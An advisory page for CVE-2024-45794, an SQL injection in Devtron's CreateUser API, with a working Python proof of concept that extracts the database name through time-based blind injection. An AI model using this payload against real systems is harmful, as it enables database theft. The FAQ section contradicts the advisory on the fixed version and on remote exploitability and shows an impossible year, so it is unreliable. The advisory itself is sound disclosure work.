CVE-2024-45794: SQL Injection in CreateUser API in devtron

Published Nov 7, 2024
·
Updated

Summary An authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).

Details The API is CreateUser (/orchestrator/user).

The function to read user input is: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104

The userInfo (line 104) parameter can be controlled by users.

The SQL injection can happen in the code: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038

The query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.

The user should be authenticated but only needs minimum permissions: !image

PoC

Demonstrate a blind SQL injection to retrieve the database name:

import requests import time import string import argparse

def blind(ip, token, query): url = f"http://{ip}/orchestrator/user" headers = {"token": token} entity = "chart-group" payload = f"'; {query} --"

data = {"id": 111, "emailid": "abcd123@126.com", "superAdmin": False, "roleFilters":[{"team":"", "environment":"", "action": "", "entity": entity, "accessType": payload}]} #"EntityName": "test", "AccessType": "test", "Cluster": "",\"NameSpace": "devtroncd", "Group": "", "Kind": "", "Resource": "", "Workflow": "" start = time.time() res = requests.post(url, headers=headers, json = data) end = time.time() #print(res.content) if(end - start > 1): return True return False

def main(ip, token): chs = string.printable result = "" isend = False i = 1 while(not isend): isend = True for ch in chs: if(blind(ip, token, f"select case when substring(datname,{i},1)='{ch}' then pgsleep(1) else pgsleep(0) end from pgdatabase limit 1;")): print(ch) result += ch isend = False break i += 1 print(result)

if name == "main": argparser = argparse.ArgumentParser() argparser.addargument("--ip", "-i", type=str, help="Target IP") argparser.addargument("--token", "-t", type=str, help="API TOKEN") args = argparser.parseargs() main(args.ip, args.token)

The debugging breakpoint indicated that the malicious SQL query was executed: !image

We can see that we can get the database name: !image

Impact SQL injection vulnerability. Our tests indicate that the latest version is affected.

The reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.

Other sources

devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/devtron-labs/devtron<0.7.2
0.7.2
Devtron Devtron Kubernetes<0.7.2

Event History

Nov 7, 2024
Advisory Published
via GitHub·05:14 PM
CVE Published
via MITRE·05:42 PM
Data Sourced
via MITRE·05:42 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
Affected Software
Jun 20, 57133
Event
via NVD·10:24 AM

Frequently Asked Questions

1

What is the severity of CVE-2024-45794?

CVE-2024-45794 is classified as a high severity vulnerability due to its potential for SQL injection attacks.

2

How do I fix CVE-2024-45794?

To fix CVE-2024-45794, upgrade to version 0.7.3 or later of the affected Devtron package.

3

What software is affected by CVE-2024-45794?

CVE-2024-45794 affects the Devtron package version 0.7.2 and below.

4

What type of vulnerability is CVE-2024-45794?

CVE-2024-45794 is an SQL injection vulnerability that allows authenticated users to execute malicious SQL queries.

5

Can CVE-2024-45794 be exploited remotely?

CVE-2024-45794 cannot be exploited remotely as it requires authenticated user access to the CreateUser API.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203